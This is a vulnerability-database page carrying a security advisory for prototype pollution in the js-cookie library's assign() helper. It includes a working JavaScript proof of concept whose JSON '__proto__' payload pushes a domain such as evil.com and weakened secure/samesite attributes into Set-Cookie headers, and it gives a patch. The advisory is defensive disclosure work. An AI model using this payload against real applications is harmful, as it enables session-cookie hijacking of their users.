Vulnerability details

7.5/10
CVSS 3.1
GHSA-qjx8-664m-686j
resolved Published 2026-05-21 Updated 2026-06-11
Vulnerability Data from Dependency-Track
Description
## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```
Same vulnerability as
CVE-2026-46625 resolved according to EUVD-2026-36154
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.